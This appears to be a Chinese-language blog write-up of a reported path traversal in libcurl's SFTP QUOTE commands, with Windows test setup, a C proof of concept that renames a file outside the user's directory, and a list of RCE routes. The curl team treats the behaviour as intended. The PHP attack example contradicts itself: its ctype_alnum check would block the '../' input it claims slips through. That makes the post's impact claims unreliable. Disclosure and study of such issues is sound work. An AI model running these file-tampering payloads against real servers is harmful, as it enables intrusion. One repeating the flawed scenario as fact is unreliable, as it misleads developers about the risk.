CURL SFTP QUOTE命令路径遍历漏洞分析:任意文件写入与潜在RCE风险

本文详细分析了libcurl在处理SFTP QUOTE命令时存在的路径遍历漏洞(CVE待分配),攻击者可利用该漏洞突破目录限制进行任意文件操作,甚至通过覆盖关键系统文件实现远程代码执行。

漏洞概述

libcurl在处理SFTP QUOTE命令时存在路径遍历漏洞。位于lib/vssh/curl_path.c中的Curl_get_pathname函数未能对用户提供的路径进行遍历序列(../)过滤。能够控制SFTP QUOTE命令的攻击者可利用此漏洞在用户预期目录外执行任意文件操作(重命名、删除,以及通过STOR命令写入)。通过覆盖敏感文件如authorized_keys或系统脚本,可进一步实现远程代码执行(RCE)。

受影响版本

该漏洞在libcurl与libssh2链接的系统上重现。测试环境中的curl版本信息如下:

1
2
curl 8.15.0 (Windows) libcurl/8.15.0 OpenSSL/3.5.0 zlib/1.3.1 brotli/1.1.0 zstd/1.5.7 libidn2/2.3.8
libpsl/0.21.5 libssh2/1.11.1 nghttp2/1.65.0 ngtcp2/1.13.0 nghttp3/1.10.1

复现步骤

环境准备

  1. 安装运行OpenSSH服务

    • 在Windows 10/11上通过"可选功能"安装OpenSSH服务
    • 使用PowerShell启动服务:Start-Service sshd
    • 创建测试用户:net user testuser testpass /add
  2. 准备目标文件与目录

    1
    2
    3
    
    echo. > C:\Users\testuser\file_to_move.txt
    mkdir C:\tmp\attack_target
    icacls C:\tmp\attack_target /grant testuser:(OI)(CI)F
    

PoC代码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
#include <stdio.h>
#include <curl/curl.h>

int main(void) {
    CURL *curl;
    CURLcode res;
    struct curl_slist *quote_list = NULL;

    const char *malicious_rename =
        "rename file_to_move.txt ../../tmp/attack_target/SUCCESS.txt";

    quote_list = curl_slist_append(quote_list, malicious_rename);

    curl_global_init(CURL_GLOBAL_DEFAULT);
    curl = curl_easy_init();
    if(curl) {
        curl_easy_setopt(curl, CURLOPT_URL, "sftp://127.0.0.1/");
        curl_easy_setopt(curl, CURLOPT_USERNAME, "testuser");
        curl_easy_setopt(curl, CURLOPT_PASSWORD, "testpass");
        curl_easy_setopt(curl, CURLOPT_SSH_KNOWNHOSTS, NULL);
        curl_easy_setopt(curl, CURLOPT_SSH_HOST_PUBLIC_KEY_SHA256, NULL);
        curl_easy_setopt(curl, CURLOPT_POSTQUOTE, quote_list);
        curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L);

        res = curl_easy_perform(curl);

        if(res != CURLE_OK) {
            fprintf(stderr, "curl_easy_perform() failed: %s\n",
                    curl_easy_strerror(res));
        }

        curl_easy_cleanup(curl);
    }
    curl_slist_free_all(quote_list);
    curl_global_cleanup();
    return 0;
}

验证结果

执行PoC后检查目标目录:

1
dir C:\tmp\attack_target

将发现SUCCESS.txt文件,证明重命名操作成功突破了用户主目录限制。

技术分析

漏洞核心在于lib/vssh/curl_path.c中的Curl_get_pathname函数。该函数在处理QUOTE命令路径时未对../序列进行验证或过滤,导致路径遍历漏洞。

与libcurl的URL解析器形成鲜明对比:当处理类似sftp://user@host/some/dir/../../etc/passwd的URL时,URL解析器会正确执行"dedotdotify"操作,而Curl_get_pathname却未能实现相同的安全校验。

影响评估

此漏洞允许具有SFTP访问权限的攻击者(即使被限制在特定目录)在用户具有操作系统权限的任何文件系统位置执行任意文件操作。具体危害包括:

  1. 覆盖~/.ssh/authorized_keys获取持久SSH访问
  2. 覆盖系统脚本、应用二进制文件或配置文件
  3. 写入web服务器目录实现基于web的RCE

实际攻击场景示例

考虑一个PHP web应用允许用户管理自己的web目录文件:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
<?php
$old_name = $_POST['old_name'];
$new_name = $_POST['new_name'];

// 开发者进行的安全检查
if (!ctype_alnum($old_name) || !ctype_alnum($new_name)) {
 die("Invalid filename.");
}

$sftp_dir = '/users/username/';
$command = sprintf("rename %s%s %s%s", $sftp_dir, $old_name, $sftp_dir, $new_name);

$ch = curl_init('sftp://sftp.example.com');
curl_setopt($ch, CURLOPT_QUOTE, [$command]);
curl_exec($ch);
?>

攻击者提供输入:

  • old_name: dummy
  • new_name: ../../../../etc/passwd

由于libcurl内部路径解析漏洞,最终会执行rename /users/username/dummy /etc/passwd,完全绕过开发者设置的安全防护。

争议焦点

curl维护团队认为此行为符合设计预期,主要观点包括:

  1. CURLOPT_QUOTE设计用于发送原始命令,文档未声明会进行清理
  2. 允许应用控制QUOTE命令本身已存在安全风险
  3. 路径解析应由服务器端而非客户端库处理

漏洞报告者则认为:

  1. 问题核心在于libcurl内部路径解析函数的不安全实现
  2. 与libcurl自身URL解析器的安全处理不一致
  3. 开发者合理的安全假设被库的内部行为破坏

漏洞状态

报告最终被标记为"Not Applicable",curl团队认为这是预期行为而非安全漏洞。但出于透明度考虑,报告已被公开披露。

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计